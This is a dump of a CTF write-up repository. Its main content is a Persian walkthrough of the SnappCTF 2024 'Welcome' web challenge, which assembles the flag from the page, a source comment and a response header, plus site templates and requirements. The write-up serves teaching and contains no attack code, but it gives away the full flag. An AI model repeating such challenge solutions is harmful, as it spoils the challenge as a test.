[amir303](https://x.com/amir3O3) 79 | 80 | -------------------------------------------------------------------------------- /docs/web/writeups/2024/SnappCTF/snappcat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/web/writeups/2024/SnappCTF/snappcat.png -------------------------------------------------------------------------------- /docs/web/writeups/2024/SnappCTF/snappfal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/web/writeups/2024/SnappCTF/snappfal.png -------------------------------------------------------------------------------- /docs/web/writeups/2024/SnappCTF/snappfal1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/web/writeups/2024/SnappCTF/snappfal1.png -------------------------------------------------------------------------------- /docs/web/writeups/2024/SnappCTF/welcome.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - HTTP 6 | - Web 7 | --- 8 | 9 | 10 |

Welcome

11 | 12 | برای حل این چالش به ما یه آدرس وب دادن 13 | 14 |
15 | 16 | ![welcome.png](./welcome.png) 17 | 18 |
19 | 20 | خب بعد از باز کردن آدرس تو وبسایت با این صفحه روبرو میشویم 21 |
22 | 23 | ![welcome1.png](./welcome1.png) 24 | 25 |
26 | 27 | برای حل این چالش ما باید دنبال بخش های مختلف فلگ بگردیم ، که بخش اولش تو صفحه اول نمایش داده شده ، برای بخش دوم کافیه که page source رو یه نگاهی بندازیم ، پس وارد آدرس زیر میشیم 28 | 29 | `view-source:https://welcome.spchallenge.ir` 30 | 31 | بعد از وارد شدن به این آدرس ، بخش دوم فلگ رو به صورت کامنت شده میبینین: 32 | 33 | ‍‍`````` 34 | 35 | در نهایت بخش سوم هم توی هدر های ریسپانس ریکویست GET هستش که اگه با مرورگر هستین تو بخش network میتونین اون رو پیدا کنین یا اگه با Burp هستین تو بخش Intercept میتونین اونو پیدا کنین (اگه با curl ریکویست رو بزنیم میتونیم از -v استفاده کنیم که verbose میکنه و هدر های ریسپانس رو میتونیم مشاهده کنیم): 36 | 37 | ```sh 38 | $ curl https://welcome.spchallenge.ir/ -v 39 | < HTTP/2 200 40 | < date: Sat, 24 Feb 2024 07:57:33 GMT 41 | < content-type: text/html;charset=utf-8 42 | < flag-3rd-part: 6_4b3784621} <<< HERE 43 | < cf-cache-status: DYNAMIC 44 | < report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=slO0vKYP8RNvjabK9LpwO%2F7ZTHZpdbktAHJRyNVGg2t5yrVDelM8b7EYMNYNoOYTxPiKkQ%2FVLTKn5I7mQXGYoPdgV%2F9XpLVo8Sx0Oa6pRP4PK%2Bh2IXnxAmXQ0Kja2lgyvO%2BE9ugAyfY5"}],"group":"cf-nel","max_age":604800} 45 | < nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} 46 | < server: cloudflare 47 | < cf-ray: 85a628897d7741ac-EWR 48 | < alt-svc: h3=":443"; ma=86400 49 | ... 50 | ``` 51 | 52 | میبینین که بخش سوم هم با اسم `flag-3rd-part` توی هدر ها ارسال شده است 53 | 54 | ??? success "FLAG :triangular_flag_on_post:" 55 |
`SNAPP{f1r57_0n3_w45n7_700_h4rd_16_4b3784621}`
56 | 57 | 58 | !!! نویسنده 59 | [amir303](https://x.com/amir3O3) 60 | 61 | -------------------------------------------------------------------------------- /docs/web/writeups/2024/SnappCTF/welcome.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/web/writeups/2024/SnappCTF/welcome.png -------------------------------------------------------------------------------- /docs/web/writeups/2024/SnappCTF/welcome1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/web/writeups/2024/SnappCTF/welcome1.png -------------------------------------------------------------------------------- /docs/web/writeups/2024/mapnaCTF/flag-holding.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/web/writeups/2024/mapnaCTF/flag-holding.png -------------------------------------------------------------------------------- /overrides/.icons/custom_icon/logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /overrides/main.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 | {{ super() }} 5 | 6 | 22 | {% endblock %} -------------------------------------------------------------------------------- /overrides/partials/content.html: -------------------------------------------------------------------------------- 1 | 2 | {% include "partials/actions.html" %} 3 | 4 | 8 | {% if "\x3ch1" not in page.content %} 9 |

{{ page.title | d(config.site_name, true)}}

10 | {% endif %} 11 | 12 | 13 | {{ page.content }} 14 | 15 | 16 | {% if "material/tags" in config.plugins and tags %} 17 | {% include "partials/tags.html" %} 18 | {% endif %} 19 | 20 | 21 | {% if page.meta and ( 22 | page.meta.git_revision_date_localized or 23 | page.meta.revision_date 24 | ) %} 25 | {% include "partials/source-file.html" %} 26 | {% endif %} 27 | 28 | 29 | {% include "partials/feedback.html" %} 30 | 31 | 32 | {% include "partials/comments.html" %} 33 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Markdown 2 | mkdocs 3 | mkdocs-git-revision-date-localized-plugin 4 | mkdocs-material[imaging] 5 | mkdocs-glightbox 6 | pymdown-extensions 7 | typer 8 | mkdocs-minify-plugin --------------------------------------------------------------------------------